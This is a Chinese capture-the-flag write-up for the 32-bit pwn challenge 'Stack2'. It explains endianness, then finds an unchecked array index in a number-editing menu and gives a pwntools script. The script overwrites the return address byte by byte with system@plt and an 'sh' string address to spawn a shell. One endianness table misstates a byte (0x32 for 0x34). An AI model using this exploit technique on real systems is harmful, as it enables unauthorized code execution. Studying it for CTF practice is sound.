Stack2
知识点
大小端序
大端模式(Big-endian):高位字节排放在内存的低地址端,低位字节排放在内存的高地址端,即正序排列,高尾端;
小端模式(Little-endian):低位字节排放在内存的低地址端,高位字节排放在内存的高地址端,即逆序排列,低尾端;
列子:
16bit宽的数0x1234在两种模式CPU内存中的存放方式(假设从地址0x4000开始存放)为:
内存地址 | 小端模式存放内容 | 大端存放模式 |
---|---|---|
0x4000 | 0x34 | 0x12 |
0x4001 | 0x12 | 0x32 |
32bit宽的数0x12345678在两种模式CPU内存中的存放方式(假设从地址0x4000开始存放)为:
内存地址 | 小端模式存放内容 | 大端存放模式 |
---|---|---|
0x4000 | 0x78 | 0x12 |
0x4001 | 0x56 | 0x34 |
0x4002 | 0x34 | 0x56 |
0x4003 | 0x12 | 0x78 |
首先checksec
ios@ubuntu:~/APwn/attack_word$ checksec stack2
[*] '/home/ios/APwn/attack_word/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~/APwn/attack_word$
开启 canary nx 32位
ida 分析函数
来看核心逻辑
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
注意change number处 未做验证id是否存在 而是直接赋值给v5接着使v13[v5]处的地址等于v7的地址
还给出了一个函数
int hackhere()
{
return system("/bin/bash");
}
利用思路:
因为v5 v7可控所以可以通过控制v5到返回地址前4位从而达到写入恶意函数到返回地址处
查看可控v5距离ebp的偏移
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
可以看到j距离ebp的偏移 为0x84
所以向v13[0x84]处开始往后写即可覆盖return_addr
但是由于此处为int型参数所以传地址需要注意
需要利用小端序进行修改return_addr
exp:
from pwn import *
p=process('./stack2')
#p=remote('111.198.29.45',40850)
offset=0x84
def r(addr,con):
log.info(p.recvuntil('5. exit\n'))
p.sendline('3')
log.info(p.recvuntil('which number to change:\n'))
p.sendline(str(addr))
log.info(p.recvuntil('new number:\n'))
p.sendline(str(con))
log.info(p.recvuntil('How many numbers you have:\n'))
p.sendline('1')
log.info(p.recvuntil('Give me your numbers\n'))
p.sendline('1')
r(offset,0x50)
r(offset+1,0x84)
r(offset+2,0x04)
r(offset+3,0x08)
offset+=8
r(offset,0x87)
r(offset+1,0x89)
r(offset+2,0x04)
r(offset+3,0x08)
log.info(p.recvuntil('5. exit\n'))
p.sendline('5')
p.interactive()
这里要注意 我这里并未直接调用bash函数而是自己构造了个system(‘sh’)
构造也很简单 return地址修改为system.plt 地址 、抬高地址在system()前写入参数sh地址
.rodata:08048980 ; char command[]
.rodata:08048980 command db '/bin/bash',0 ; DATA XREF: hackhere+14↑o
.rodata:0804898A align 4
可以看到/bin/bash地址为0x8048980
所以可以推出sh的地址0x8048987
写入即可完成利用